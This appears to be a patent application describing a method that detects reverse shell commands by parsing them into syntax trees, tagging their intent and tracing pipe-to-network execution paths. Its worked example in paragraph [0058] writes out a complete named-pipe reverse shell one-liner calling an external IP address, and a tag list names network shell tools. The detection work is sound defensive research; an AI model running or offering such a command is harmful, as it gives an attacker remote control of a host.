Reverse shell detection method and apparatus, electronic device, and storage medium

Abstract

The present disclosure provides a detection method and apparatus, an electronic device, and a storage medium. The detection method comprises: acquiring a first shell command; performing syntax analysis on the first shell command to obtain a command execution intention for the first shell command; on the basis of the command execution intention, determining a command execution path corresponding to the first shell command; and in response to at least one node in the command execution path satisfying a first preset condition, determining whether the first shell command is a reverse shell intrusion command.

Description

Method and device for detecting bounce shell, electronic device and storage medium

[0001] The present application claims priority to the Chinese patent application No. 202311842128.8, filed on December 28, 2023, entitled "Method and device for detecting bounce shell, electronic device and storage medium", the whole content of which is incorporated herein by reference. TECHNICAL FIELD

[0002] The present disclosure relates to the technical field of network security, and particularly relates to a method and device for detecting bounce shell, an electronic device and a storage medium. BACKGROUND

[0003] With the development of the Internet, the application field of information security technology is becoming more and more extensive.

[0004] Intrusion is an attack behavior against a host or a server. An attacker can obtain control of a host or a server by attacking the host or the server, and then use the host or the server to attack other hosts or servers, or directly use the computing resources of the host or the server, which is a typical network threat.

[0005] Bounce shell is a common means for hackers to intrude into various hosts and servers. In the related art, bounce shell intrusion behavior can be detected by using static detection or dynamic detection. However, static detection is prone to cause a large number of false positives or false negatives, and dynamic detection has high complexity. SUMMARY

[0006] Therefore, the purpose of the present disclosure is to provide a method and device for detecting bounce shell, an electronic device and a storage medium.

[0007] To achieve the above purpose, the present disclosure provides a method for detecting bounce shell, comprising: obtaining a first shell command; performing syntax analysis on the first shell command to obtain a command execution intention for the first shell command; determining a command execution path corresponding to the first shell command based on the command execution intention; and determining whether the first shell command is a bounce shell intrusion command in response to at least one node in the command execution path satisfying a first preset condition.

[0008] In some embodiments, the first shell command is generated by a first server, and the first shell command is used to make the first server access a second server.

[0009] In some embodiments, the syntax analysis on the first shell command to obtain the command execution intention of the first shell command comprises: semantic parsing of the first shell command to obtain at least one command unit in the first shell command; and intention analysis on the at least one command unit to obtain the command execution intention.

[0010] In some embodiments, the intention analysis on the at least one command unit to obtain the command execution intention comprises: determining a first code language of the first shell command; obtaining an intention tag library corresponding to the first code language based on the first code language, the intention tag library comprising functional attributes of at least part of basic commands in the first code language; and parsing the at least one command unit according to the intention tag library to obtain the command execution intention for each of the command units.

[0011] In some embodiments, the parsing of the at least one command unit according to the intention tag library to obtain the command execution intention for each of the command units comprises: obtaining a basic command in the command unit and an execution object of the basic command; and obtaining the command execution intention for each of the command units based on the functional attribute of the basic command and the execution object of the basic command.

[0012] In some embodiments, the obtaining of the command execution intention for each of the command units comprises: determining at least one of pipe information, file information, network interaction information, input information, output information, and a command executor in each of the command units.

[0013] In some embodiments, the determination of the command execution path corresponding to the first shell command based on the command execution intention comprises: obtaining a target command unit in the at least one command unit that satisfies a second preset condition and an association relationship between the target command units according to the command execution intention; and determining the command execution path between the target command units based on the association relationship.

[0014] In some embodiments, the second preset condition comprises at least one of the following: a node corresponding to the command unit exists network interaction, exists a command executor, and exists a pipe.

[0015] In some embodiments, before the determining the detection result of the first shell command in response to the at least one node in the command execution path satisfying the first preset condition, the method further includes: determining that the command execution path is a closed loop path; and wherein the command execution path being a closed loop path includes: the first server obtaining a second command from the second server and executing the second command, and sending an execution result to the second server.

[0016] In some embodiments, the first preset condition includes: there is a network node in the command execution path; there is an executor node in the command execution path; and the network node is in direct or indirect communication with the executor node.

[0017] The second aspect of the present disclosure provides a bounce shell detection device, including: an obtaining module configured to obtain a first shell command; an analyzing module configured to perform syntax analysis on the first shell command to obtain a command execution intention for the first shell command; a path construction module configured to determine a command execution path corresponding to the first shell command based on the command execution intention; and a detection module configured to determine whether the first shell command is a bounce shell intrusion command in response to at least one node in the command execution path satisfying a first preset condition.

[0018] The third aspect of the present disclosure provides an electronic device, including a memory, a processor, and a computer program stored in the memory and executable on the processor, and the processor executes the program to implement the bounce shell detection method of the first aspect.

[0019] The fourth aspect of the present disclosure provides a non-transitory computer readable storage medium, which stores computer instructions for causing the computer to execute the bounce shell detection method of the first aspect. BRIEF DESCRIPTION OF DRAWINGS

[0020] In order to more clearly illustrate the technical solutions in the present disclosure or the related art, the following will briefly introduce the drawings needed to be used in the embodiments or related art descriptions. Obviously, the drawings in the following description are only embodiments of the present disclosure, and for those skilled in the art, other drawings can also be obtained without creative labor based on these drawings.

[0021] FIG. 1 shows a flow diagram of an exemplary method provided by an embodiment of the present disclosure.

[0022] FIG. 2 shows a flow diagram of an exemplary method provided by an embodiment of the present disclosure.

[0023] FIG. 3 shows a flow diagram of an exemplary method provided by an embodiment of the present disclosure.

[0024] FIG. 4 shows an exemplary command execution path diagram provided by an embodiment of the present disclosure.

[0025] FIG. 5 shows a diagram of an exemplary device provided by an embodiment of the present disclosure.

[0026] FIG. 6 shows a hardware structure diagram of an exemplary computer device provided by an embodiment of the present disclosure. DETAILED DESCRIPTION

[0027] For the purpose of making the objects, technical solutions and advantages of the present disclosure clearer, the present disclosure is further described in detail below with reference to the embodiments and the accompanying drawings.

[0028] It should be noted that, unless otherwise defined, the technical terms or scientific terms used in the embodiments of the present disclosure should be understood as the common meanings understood by those with ordinary skills in the art to which the present disclosure belongs. The terms "first", "second" and similar terms used in the embodiments of the present disclosure do not represent any order, number or importance, but are only used to distinguish different components. The terms "include", "contain" and similar terms mean that the elements or objects before the terms encompass the elements or objects listed after the terms and their equivalents, and do not exclude other elements or objects. The terms "connect" or "connected" and similar terms are not limited to physical or mechanical connections, but can include electrical connections, whether direct or indirect. The terms "upper", "lower", "left", "right" and the like only represent relative positional relationships, and when the absolute positions of the described objects change, the relative positional relationships can also change accordingly.

[0029] The bounce shell is a common means for hackers to hack various hosts and servers. In the process of hacking hosts and servers using bounce shells, the intruder plants some shell scripts or virus programs into the hacked host or server by exploiting system or software vulnerabilities. Then the intruder opens one or more network listening ports. When the shell script or virus program executes, it will actively access these network listening ports to establish a network session with the intruder. The intruder sends some commands to the hacked host or server to execute, or exploits system vulnerabilities to elevate the virus process from normal user privileges to super-privileged user privileges, to continue to hack the server system, steal classified data, or even destroy the server system.

[0030] The detection of bounce shell commands mainly has the following two detection means:

[0031] One is static detection: the detection is performed by keyword extraction and matching of shell commands through regular expressions. Different bounce shell commands need to be collected before detection, and keywords for regular expression matching are generated based on these bounce shell commands. This detection method is generally only suitable for some simple bounce shell command scripts. For some complex shell command scripts that are transformed or combined by multiple simple commands, this detection method generally cannot effectively detect, which may cause a large number of false positives or false negatives. In addition, for bounce shell commands written in python, nodejs and other languages, the traditional method is more likely to be bypassed due to more obfuscation methods.

[0032] The second is dynamic monitoring: dynamic detection based on system behavior events at runtime, which generally judges whether there is a network channel according to whether the standard input and the standard output of the shell command start exist. But this method cannot detect the detection of network file descriptors redirected through named pipes or anonymous pipes. In engineering, complex correlation needs to be performed in related process commands to explore the relevance. The complexity of this solution is high.

[0033] Therefore, the present disclosure provides a bounce shell detection method to solve the above problems. As can be seen from the above, the bounce shell detection method, device, electronic equipment and storage medium provided by the present disclosure obtain the command execution intention of the first shell command through syntax analysis of the first shell command, and then determine the command execution path of the first shell command, and then judge the first shell command as an intrusion command in combination with the first preset condition set in advance, to obtain the detection result of the first shell command. The present embodiment performs syntax analysis on the first shell command, so that no matter how the first shell command is transformed and complexly concatenated or how complex the language is used to write, the real execution intention and execution process of the first shell command can be obtained, and then the bounce shell detection of the first shell command is performed based on the real execution intention and execution process of the first shell command, so that a more accurate detection result can be obtained, and the probability of false positives or false negatives is reduced. At the same time, the present embodiment directly obtains the real execution intention and execution process of the first shell command through syntax analysis, which has lower complexity and is easier to implement than the method of detecting based on system runtime command behavior events in dynamic monitoring.

[0034] As shown in FIG. 1, the detection method comprises:

[0035] Step S101, obtaining a first shell command.

[0036] The first shell command is a command generated in a server or a host. The server or the host generates a plurality of different types of commands in the process of running. In this embodiment, the first shell command generated in the process of running of the server or the host can be obtained. The first server generates a plurality of different types of commands in the process of running. The first shell command is a command for enabling the first server to access the second server.

[0037] In this embodiment, the first server is an internal server, and the second server is an external server. The access of the first server to the second server can be normal access, or can be an access command sent by the first server to the external server after the first server is intruded by the second server. Therefore, in this embodiment, the first shell command used by the first server to access the external server is obtained, and the first shell command is detected, so as to determine whether the first shell command is a reverse shell intrusion command, that is, to determine whether the first shell command is a normal access command of the first server to the second server, or an access command sent by the first server to the external server after the first server is intruded by the second server.

[0038] In some embodiments, the first shell command generated in real time on the server or the host can be obtained, that is, the first shell command is detected. Alternatively, the first shell command based on a preset time period can also be obtained for detection. The embodiment does not limit comparison.

[0039] In step S103, the first shell command is subjected to syntax analysis, and a command execution intention of the first shell command is obtained.

[0040] In some embodiments, the first shell command can be subjected to syntax analysis based on an abstract syntax tree (AST), so as to obtain the command execution intention of the first shell command. The command execution intention can be used to represent the meaning and structure of the first shell command, including the source (such as input information), execution process, and result (such as output information) of the command, and the embodiment does not limit this.

[0041] The abstract syntax tree (AST) is an abstract representation of the syntax structure of source code. The abstract syntax tree represents the syntax structure of a programming language in the form of a tree, and each node on the abstract syntax tree represents a structure in the source code, such as a package, a type, a modifier, an operator, an interface, a return value, or even a code comment.

[0042] Step S105, determining a command execution path corresponding to the first shell command based on the command execution intention of the command.

[0043] After obtaining the command execution intention of the first shell command, the command execution path corresponding to the first shell command can be determined based on the command execution intention.

[0044] The command execution path includes the input, output, execution process of each process or node in the first shell command, and the association between the input and output of each process or node, etc. The present embodiment does not limit this. For example, the first shell command includes three nodes or processes A, B and C. The command execution path can be: the input information of the A node or process is obtained from X, the output information of the A node or process is the input information of the B node or process, the result generated after the B node or process performs the a operation is the input information of the C node or process, and the result obtained after the C node or process performs the b operation is output to Y.

[0045] Step S107, in response to at least one node in the command execution path satisfying a first preset condition, determining whether the first shell command of the first shell command is a reverse shell intrusion command.

[0046] In the present embodiment, the first preset condition can be set in advance, and it is determined whether each node of the command execution path meets the first preset condition, so as to determine whether the first shell command is an intrusion command, thereby obtaining the detection result of the first shell command.

[0047] In some embodiments, different first preset conditions can be set for different types of intrusion detection. Different types of intrusion detection can include reverse shell intrusion, Trojan horse intrusion, vulnerability intrusion, etc.

[0048] In some embodiments, for the same type of intrusion detection, if the code language of the first shell command is different, different first preset conditions can also be set to detect the intrusion of the first shell command written in different code languages, and the present embodiment does not limit this.

[0049] In this embodiment, the first shell command is parsed to obtain the command execution intention of the first shell command, and then the command execution path of the first shell command is determined. In combination with the first preset condition, it is judged that the first shell command is an intrusion command, so as to obtain the detection result of the first shell command. In this embodiment, the first shell command is parsed, so that no matter how the first shell command is transformed, complex spliced or complex language is written, the real execution intention and execution process of the first shell command can be obtained. Then, the first shell command is detected based on the real execution intention and execution process of the first shell command, so that a more accurate detection result can be obtained, and the probability of false alarm or missed detection is reduced. At the same time, the real execution intention and execution process of the first shell command are directly obtained by syntax analysis, which has low complexity compared with the method of detecting based on the behavior event of the system running command, and is easy to implement.

[0050] In some embodiments, the first shell command is generated by a first server, and the first shell command is used to enable the first server to access a second server.

[0051] The first shell command is a command generated in the first server. The first shell command is a command generated in the first server during running, which is used to enable the first server to access a second server.

[0052] In this embodiment, the first server is an internal server, and the second server is an external server. The access of the first server to the second server can be normal access, or can be an access command sent by the first server to the external server after the first server is intruded by the second server. Therefore, in this embodiment, the first shell command used by the first server to access the external server is obtained, and the first shell command is detected to determine whether the first shell command is a normal access command of the first server to the second server or an access command sent by the first server to the external server after the first server is intruded by the second server, that is, whether the first shell command is a reverse shell intrusion command.

[0053] In some embodiments, as shown in FIG. 2, the first shell command is parsed in step S103 to obtain the command execution intention of the first shell command, including:

[0054] In step S201, the first shell command is semantically parsed to obtain at least one command unit in the first shell command.

[0055] In some embodiments, the first shell command is formed by concatenating a plurality of command units in series. Each command unit can be executed independently, and the first shell command formed by concatenating the plurality of command units in series can implement a more complex command script.

[0056] In this embodiment, the first shell command formed by concatenating a plurality of command units in series is parsed semantically, so as to split the first shell command into one or more command units.

[0057] In some embodiments, each command unit can be a simple shell command, and the first shell command is formed by concatenating a plurality of shell commands in series.

[0058] Taking the first shell command "mkfifo / tmp / f; cat / tmp / f| / bin / bash-i|nc 172.223.241.235 222> / tmp / f" as an example, the execution logic of the first shell command is as follows:

[0059] a) Create a named pipe / tmp / f;

[0060] b) The standard output of the named pipe / tmp / f is used as the execution input of bash, that is, bash executes the content of the named pipe;

[0061] c) The standard output result of bash execution is uploaded to the remote server 172.223.241.235 in the form of an anonymous pipe;

[0062] d) The remote server continuously issues instructions through the named pipe / tmp / f, and drives the execution of bash through step b.

[0063] Summary of the entire process: receive the remote command of the hacker through nc and input it to the named pipe / tmp / f, drive the execution of the received command of the named pipe / tmp / f through bash, and upload the execution result to the remote server through nc, thereby forming a reverse shell scene.

[0064] In this embodiment, the command is parsed by the AST parser to extract the command unit, and the parsed command unit includes:

[0065] a) mkfifo / tmp / f

[0066] b) cat / tmp / f

[0067] c) / bin / bash-i

[0068] d) nc 172.223.241.235 222

[0069] e) / tmp / f

[0070] Step S203, performing intention analysis on the at least one command unit to obtain the command execution intention.

[0071] In this embodiment, after splitting the first shell command into one or more command units, intention analysis is performed on each command unit to obtain the command execution intention for each command unit.

[0072] In some embodiments, the intention analysis on the at least one command unit in step S203 to obtain the command execution intention includes:

[0073] Step S301, determining the first code language of the first shell command.

[0074] The first code language can be a shell language, or a python, nodejs, or other language, which is not limited in this embodiment.

[0075] Step S303, obtaining an intention tag library corresponding to the first code language based on the first code language.

[0076] The intention tag library includes the functional attributes of at least part of the basic commands in the first code language. The basic commands can be, for example, mkfifo, |, cat, echo, bash, nc, etc., which are not limited in this embodiment.

[0077] In this embodiment, the code language of the first shell command is different, and the corresponding intention tag library is also different.

[0078] Taking the first code language as a shell language for example, the intention tag library can be:

[0079] a) named pipe: mkfifo

[0080] b) anonymous pipe: |

[0081] c) file descriptor: fd0, fd1, etc.

[0082] d) file operation: cat, echo, curl, wget, touch, etc.

[0083] e) executor: bash, sh, exec, etc.

[0084] f) network interaction: nc, / dev / tcp / , / dev / udp / , IP address

[0085] g) Redirection: >, >>

[0086] Source and target, especially redirection by FD number, such as 2>&1

[0087] Where pipe is an implementation of inter-process communication in Linux. In the Linux system, the pipe is a special file, and its main purpose is to realize the communication between processes.

[0088] fd: In Linux, fd stands for "File descriptor", which is a kind of index created by the kernel to efficiently manage these already opened files; it is a non-negative integer used to refer to the opened file, and all system calls for I / O operations are implemented through file descriptors.

[0089] In the embodiment, the intent tag library can be continuously enriched during use, and different intent tag libraries can be set for different code languages to meet the intrusion detection of different languages. At the same time, the intent tag library can be continuously enriched and adjusted to meet different needs, so as to use the intrusion detection of commands in multiple languages and multiple forms, and have good adaptability and maintainability.

[0090] Step S305, according to the intent tag library, the at least one command unit is parsed, and the command execution intent for each command unit is obtained.

[0091] In some embodiments, step S305 further comprises:

[0092] Step S401, obtaining the basic command in the one command unit and the execution object of the basic command.

[0093] Step S403, based on the function attribute of the basic command and the execution object of the basic command, the command execution intent for each command unit is obtained.

[0094] In the embodiment, the basic command and the execution object of the basic command are extracted from each command unit, for example, the basic command in the command unit mkfifo / tmp / f is mkfifo, the function attribute of mkfifo is to create a named pipe, and the execution object of the basic command is a named pipe / tmp / f.

[0095] The basic command in the command unit cat / tmp / f is cat, the function attribute of cat is file operation, and the execution object is / tmp / f, so the command unit is used to take the result of / tmp / f as the standard output (stdout_1).

[0096] That is, in the embodiment, the obtaining of the command execution intention for each of the command units in step S403 includes: determining at least one of the pipe information, the file information, the network interaction information, the input information, the output information, the command executor, etc. in each of the command units.

[0097] In the embodiment, the intention analysis on each command unit is performed by using the intention tag library, and a set of command execution intentions for each command unit is obtained, as follows:

[0098] Wherein, stdin, stdout, stderr: three special file descriptors in Linux. Linux allocates these three files for each running process. Stdin (standard input) reads data from keyboard, and stdout (standard output) and stderr (standard error output) are displayed on the terminal window by default.

[0099] In this way, the intention analysis on the first shell command is completed, and the command execution intention for the first shell command is obtained. Each command unit corresponds to an intention unit.

[0100] In some embodiments, as shown in FIG. 3, the determining of the command execution path corresponding to the first shell command based on the command execution intention in step S105 includes:

[0101] Step S501: According to the command execution intention, obtaining a target command unit in the at least one command unit that satisfies a second preset condition and an association relationship between the target command units.

[0102] In some embodiments, different second preset conditions can be set for different intrusion types or different code languages, so that the target command unit that satisfies the second preset condition is obtained based on the second preset condition, and the node corresponding to the target command unit is taken as the node for judging the intrusion possibility.

[0103] Taking the shell language as an example, the second preset condition can include at least one of the following: the node corresponding to the command unit exists network interaction, exists command executor, and exists pipe.

[0104] Specifically, for each node, it is determined whether it includes the following attributes: process command line cmdline information, whether there is network interaction, whether it is a command executor, and whether there is a pipe (named pipe or anonymous pipe).

[0105] In addition, the standard input stdin, the standard output stdout, the file path of the file, and the file descriptor FD of each node need to be determined.

[0106] Based on the second preset condition, a result of a target command unit corresponding to the node for judging the possibility of intrusion is obtained, including:

[0107] Based on the above, it can be seen that the target command unit includes mkfifo / tmp / f, / bin / bash-i, nc 172.223.241.235222, that is, based on the node corresponding to the target command unit, the first shell command can be detected.

[0108] In some embodiments, the nodes corresponding to each target command unit are associated with the calculation of the graph algorithm, wherein the association attribute relationship is as follows: file <-> stdin, stdout <-> file, stdin <-> stdout, FD <-> stdin / stdout, wherein <-> represents mutual association.

[0109] In some embodiments, the association attribute relationship can be maintained by using the association attribute mapping table, and the association attribute relationship in the association attribute mapping table can be modified as needed.

[0110] Step S503, based on the association relationship, determine the command execution path between the target command units.

[0111] As shown in FIG. 4, after the nodes corresponding to the above target command unit are associated by the attribute, the following command execution path can be obtained: the named pipe / tmp / f receives the shell command issued by the second server 172.223.241.223, and these commands are transmitted to the bash executor for execution in the form of standard input, and finally the execution result is sent to the second server.

[0112] In some embodiments, after obtaining the command execution path, it is also necessary to judge whether the command execution path is a closed loop path. Specifically, in this embodiment, if the first server satisfies the first condition of obtaining the second command from the second server and executing the second command, and sending the execution result to the second server, it can be determined that the command execution path is a closed loop path.

[0113] In this embodiment, since the command execution path is a closed loop path, step S107 can be executed thereafter, which responds to at least one node in the command execution path satisfying the first preset condition, and determines whether the first shell command is a reverse shell intrusion command.

[0114] In some embodiments, when the first shell command is a shell command, and it is determined whether the first shell command is a reverse shell intrusion command, the first preset condition can be set to include: a network node exists in the command execution path; an executor node exists in the command execution path; and the network node and the executor node are directly or indirectly connected.

[0115] In this embodiment, since the command execution path meets the first preset condition, it can be determined that the first shell command is a reverse shell intrusion command. If the command execution path does not meet the first preset condition, it can be determined that the first shell command is not a reverse shell intrusion command.

[0116] In this embodiment, the first shell command can be parsed by the AST abstract syntax tree, the command unit of the first shell command is first decomposed, then the command execution intent of the command unit is extracted based on the intent tag library, the node corresponding to the target command unit that can be used for detection is determined based on the command execution intent, the properties of the node corresponding to the target command unit are associated and constructed by using the graph algorithm to obtain the command execution path, and finally the command execution is detected according to the preset condition, and it is finally determined whether the first shell command is a one-line reverse shell intrusion command.

[0117] This embodiment is applicable to reverse shell detection written in different programming languages (bash, python, nodejs, etc.). Only the corresponding AST parser is used for parsing, and the intent tag library and the associated attribute mapping table are continuously enriched in the system iteration process. The iteration of the model can be completed, and the model can support multiple language types of reverse shell attack variants, has good adaptability and maintainability.

[0118] It can be understood that before using the technical solutions of various embodiments of the present disclosure, the user will be informed of the type, use range, use scenario, etc. of the personal information involved by appropriate means, and the user's authorization will be obtained.

[0119] For example, in response to receiving the user's active request, prompt information is sent to the user to explicitly prompt the user that the operation requested to be executed will require obtaining and using the user's personal information. Thus, the user can choose whether to provide personal information to the electronic device, application program, server or storage medium, etc. software or hardware that performs the technical solutions of the present disclosure according to the prompt information.

[0120] As an optional but non-limiting implementation, in response to receiving the active request of the user, the manner of sending the prompt information to the user may be, for example, a pop-up window manner, in which the prompt information may be presented in the form of text. In addition, the pop-up window may also carry a selection control for the user to select "agree" or "disagree" to provide personal information to the electronic device.

[0121] It can be understood that the above notification and user authorization obtaining process is only illustrative and does not limit the implementation of the present disclosure, and other manners meeting relevant laws and regulations can also be applied to the implementation of the present disclosure.

[0122] It should be noted that the method of the embodiment of the present disclosure can be executed by a single device, such as a computer or a server. The method of the embodiment can also be applied to a distributed scenario and completed by multiple devices cooperating with each other. In the case of such a distributed scenario, one of the multiple devices can only execute one or more steps in the method of the embodiment of the present disclosure, and the multiple devices can interact with each other to complete the method.

[0123] It should be noted that some embodiments of the present disclosure have been described above. Other embodiments are within the scope of the appended claims. In some cases, the actions or steps recited in the claims can be performed in a different order than the order described above and still achieve desirable results. In addition, the processes depicted in the figures do not necessarily require the particular order shown, or sequential order, to achieve the desired results. In certain implementations, multitasking and parallel processing can be advantageous.

[0124] Based on the same inventive concept, the present disclosure also provides a bounce shell detection device corresponding to the method of any of the above embodiments.

[0125] Referring to FIG. 5, the device comprises:

[0126] The obtaining module 11 is configured to obtain a first shell command;

[0127] The analysis module 13 is configured to perform syntax analysis on the first shell command to obtain a command execution intention for the first shell command.

[0128] The path construction module 15 is configured to determine a command execution path corresponding to the first shell command based on the command execution intention.

[0129] The detection module 17 is configured to determine whether the first shell command is a bounce shell intrusion command in response to at least one node in the command execution path satisfying a first preset condition.

[0130] In some embodiments, the first shell command is generated by a first server, and the first shell command is used to make the first server access a second server.

[0131] In some embodiments, the analysis module 13 is further configured to:

[0132] perform semantic parsing on the first shell command to obtain at least one command unit in the first shell command;

[0133] perform intent analysis on the at least one command unit to obtain a command execution intent.

[0134] In some embodiments, the analysis module 13 is further configured to:

[0135] determine a first code language of the first shell command;

[0136] based on the first code language, obtain an intent tag library corresponding to the first code language, the intent tag library including functional attributes of at least part of basic commands in the first code language;

[0137] perform parsing on the at least one command unit according to the intent tag library to obtain a command execution intent for each of the command units.

[0138] In some embodiments, the performing parsing on the at least one command unit according to the intent tag library to obtain a command execution intent for each of the command units includes:

[0139] obtaining a basic command in the one command unit and an execution object of the basic command;

[0140] based on the functional attributes of the basic command and the execution object of the basic command, obtaining a command execution intent for each of the command units.

[0141] In some embodiments, the obtaining a command execution intent for each of the command units includes:

[0142] determining at least one of pipeline information, file information, network interaction information, input information, output information, and a command executor in each of the command units.

[0143] In some embodiments, the path construction module 15 is further configured to:

[0144] based on the command execution intent, obtaining a target command unit in the at least one command unit that satisfies a second preset condition and an association relationship between the target command units;

[0145] Based on the association relationship, a command execution path between the target command units is determined.

[0146] In some embodiments, the second preset condition comprises at least one of the following: the node corresponding to the command unit exists network interaction, exists a command executor, and exists a pipeline.

[0147] In some embodiments, before the determining the detection result of the first shell command in response to at least one node in the command execution path satisfying a first preset condition, the method further comprises:

[0148] determining that the command execution path is a closed loop path.

[0149] The command execution path being a closed loop path comprises: the first server obtaining a second command from the second server and executing the second command, and sending an execution result to the second server.

[0150] In some embodiments, the first preset condition comprises:

[0151] a network node exists in the command execution path;

[0152] an executor node exists in the command execution path;

[0153] and the network node and the executor node are directly or indirectly connected.

[0154] For the convenience of description, the above apparatus is described in various modules in terms of functions. Of course, the functions of the modules can be implemented in one or more software and / or hardware when implementing the present disclosure.

[0155] The apparatus of the above embodiments is used to implement the corresponding bounce shell detection method in any of the above embodiments, and has the beneficial effects of the corresponding method embodiments, which will not be described here.

[0156] Based on the same inventive concept, corresponding to the method of any of the above embodiments, the present disclosure also provides an electronic device, comprising a memory, a processor, and a computer program stored in the memory and executable on the processor, wherein the processor executes the program to implement the bounce shell detection method of any of the above embodiments.

[0157] Fig. 6 shows a more specific schematic diagram of the hardware structure of an electronic device according to the embodiment, which can include a processor 1010, a memory 1020, an input / output interface 1030, a communication interface 1040 and a bus 1050. The processor 1010, the memory 1020, the input / output interface 1030 and the communication interface 1040 are connected to each other through the bus 1050 for internal communication.

[0158] The processor 1010 can be implemented by a general-purpose CPU (Central Processing Unit), a microprocessor, an ASIC (Application Specific Integrated Circuit), or one or more integrated circuits, etc., for executing related programs to implement the technical solutions provided by the embodiments of the present specification.

[0159] The memory 1020 can be implemented by a ROM (Read Only Memory), a RAM (Random Access Memory), a static storage device, a dynamic storage device, etc. The memory 1020 can store an operating system and other application programs, and when the technical solutions provided by the embodiments of the present specification are implemented by software or firmware, the related program codes are stored in the memory 1020 and called and executed by the processor 1010.

[0160] The input / output interface 1030 is configured to connect to an input / output module to realize information input and output. The input / output module can be configured as a component in the device (not shown in the figure) or externally connected to the device to provide corresponding functions. The input device can include a keyboard, a mouse, a touch screen, a microphone, various sensors, etc., and the output device can include a display, a speaker, a vibrator, an indicator light, etc.

[0161] The communication interface 1040 is configured to connect to a communication module (not shown in the figure) to realize the communication interaction between the device and other devices. The communication module can realize communication through a wired manner (such as USB, network cable, etc.) or through a wireless manner (such as mobile network, WIFI, Bluetooth, etc.).

[0162] The bus 1050 includes a channel to transmit information between various components (such as the processor 1010, the memory 1020, the input / output interface 1030 and the communication interface 1040) of the device.

[0163] It should be noted that although the above device only shows the processor 1010, the memory 1020, the input / output interface 1030, the communication interface 1040 and the bus 1050, but in the specific implementation process, the device can also include other components necessary for normal operation. In addition, those skilled in the art can understand that the above device can also only contain the components necessary to implement the embodiments of the present disclosure, and does not necessarily contain all the components shown in the figure.

[0164] The electronic device of the above embodiment is used to implement the corresponding bounce shell detection method in any of the preceding embodiments, and has the beneficial effects of the corresponding method embodiments, which are not described here.

[0165] Based on the same inventive concept, the present disclosure also provides a non-transitory computer-readable storage medium storing computer instructions for causing the computer to perform the detection method according to any of the preceding embodiments.

[0166] The computer-readable medium of the present embodiment includes permanent and non-permanent, removable and non-removable media, which can be implemented by any method or technology to store information. The information can be computer-readable instructions, data structures, program modules or other data. Examples of computer storage media include, but are not limited to, phase change memory (PRAM), static random access memory (SRAM), dynamic random access memory (DRAM), other types of random access memory (RAM), read-only memory (ROM), electrically erasable programmable read-only memory (EEPROM), flash memory or other memory technologies, compact disc read-only memory (CD-ROM), digital versatile disc (DVD) or other optical storage, magnetic cassette, magnetic tape, magnetic disk storage or other magnetic storage devices, or any other non-transmission medium that can be used to store information accessible by a computing device.

[0167] The computer instructions stored in the storage medium of the above embodiment are used to cause the computer to perform the bounce shell detection method according to any of the preceding embodiments, and have the beneficial effects of the corresponding method embodiments, which are not described here.

[0168] Those skilled in the art should understand that the above discussion of any embodiment is only exemplary and is not intended to imply that the scope of the present disclosure (including claims) is limited to these examples; under the idea of the present disclosure, the above embodiments or technical features in different embodiments can also be combined, the steps can be implemented in any order, and there are many other changes of different aspects of the embodiments of the present disclosure as described above. In order to be brief, they are not provided in detail.

[0169] Additionally, to simplify the description and discussion, and so as not to obscure the embodiments of the disclosure with details that are well known to those skilled in the art, some conventional attributes of integrated circuit (IC) chips and other components can or can not be shown in the drawings or discussed below. Furthermore, devices can be shown in block diagram form in order to avoid obscuring the embodiments of the disclosure, and this also acknowledges the fact that the details in regard to how such block devices are implemented are highly dependent on the platform within which an embodiment of the disclosure is being implemented (i.e., such details should be completely evident to those skilled in the art). Where specific details are set forth in order to describe an illustrative embodiment of the disclosure, it will be apparent to one skilled in the art that the embodiment of the disclosure can be practiced without, or with variations of, these specific details. Thus, the description is to be considered as illustrative and not restrictive, and the scope of the disclosure is to be determined not with the assistance of the foregoing description alone.

[0170] While the disclosure has been described in connection with specific embodiments thereof, many alternatives, modifications and variations will be apparent to those skilled in the art in light of the foregoing description. For example, other memory architectures (e.g., dynamic RAM (DRAM)) can use the embodiments discussed.

[0171] Embodiments of the disclosure are intended to cover all such alternatives, modifications and variations as falling within the scope of the appended claims. Accordingly, any omission, modification, equivalent replacement, improvement, etc. made within the spirit and principle of the embodiments of the disclosure should be included in the protection scope of the disclosure.

Claims

1. A method for detecting a reverse shell, comprising: obtaining a first shell command; parsing the first shell command to obtain a command execution intention of the first shell command; determining a command execution path corresponding to the first shell command based on the command execution intention; determining whether the first shell command is a reverse shell intrusion command in response to at least one node in the command execution path satisfying a first preset condition.

2. The method of claim 1, wherein, The first shell command is generated by a first server, and the first shell command is used to enable the first server to access a second server.

3. The method of claim 1, wherein, The parsing of the first shell command to obtain the command execution intention of the first shell command comprises: performing semantic analysis on the first shell command to obtain at least one command unit in the first shell command; performing intention analysis on the at least one command unit to obtain the command execution intention.

4. The method of claim 3, wherein, The intention analysis on the at least one command unit to obtain the command execution intention comprises: determining a first code language of the first shell command; obtaining an intention tag library corresponding to the first code language based on the first code language, the intention tag library comprising functional attributes of at least part of basic commands in the first code language; parsing the at least one command unit according to the intention tag library to obtain a command execution intention for each of the command units.

5. The method of claim 4, wherein, The parsing of the at least one command unit according to the intention tag library to obtain a command execution intention for each of the command units comprises: obtaining a basic command in the command unit and an execution object of the basic command; obtaining a command execution intention for each of the command units based on the functional attributes of the basic command and the execution object of the basic command.

6. The method of claim 5, wherein, The obtaining of the command execution intention for each of the command units comprises: determining at least one of pipe information, file information, network interaction information, input information, output information, and a command executor in each of the command units.

7. The method of claim 3, wherein, The determination of the command execution path corresponding to the first shell command based on the command execution intention comprises: obtaining target command units satisfying a second preset condition in the at least one command unit and an association relationship between the target command units according to the command execution intention; determining a command execution path between the target command units based on the association relationship.

8. The method of claim 7, wherein, The second preset condition comprises at least one of network interaction, a command executor, and a pipe existing in a node corresponding to the command unit.

9. The method of claim 1, wherein, Before the determination of the detection result of the first shell command in response to at least one node in the command execution path satisfying a first preset condition, the method further comprises: determining that the command execution path is a closed loop path; The command execution path is a closed loop path, including: the first server obtaining a second command from the second server and executing the second command, and sending an execution result to the second server.

10. The method of claim 1, wherein, The first preset condition includes: There is a network node in the command execution path; There is an executor node in the command execution path; And the network node is directly or indirectly connected with the executor node.

11. A bounce shell detection apparatus, comprising: an obtaining module configured to obtain a first shell command; an analyzing module configured to perform syntax analysis on the first shell command, and obtain a command execution intention for the first shell command; a path constructing module configured to determine a command execution path corresponding to the first shell command based on the command execution intention; a detecting module configured to determine whether the first shell command is a bounce shell intrusion command in response to at least one node in the command execution path satisfying a first preset condition.

12. An electronic device, comprising a memory, a processor, and a computer program stored in the memory and executable on the processor, wherein the processor executes the program to implement the bounce shell detection method according to any one of claims 1 to 10.

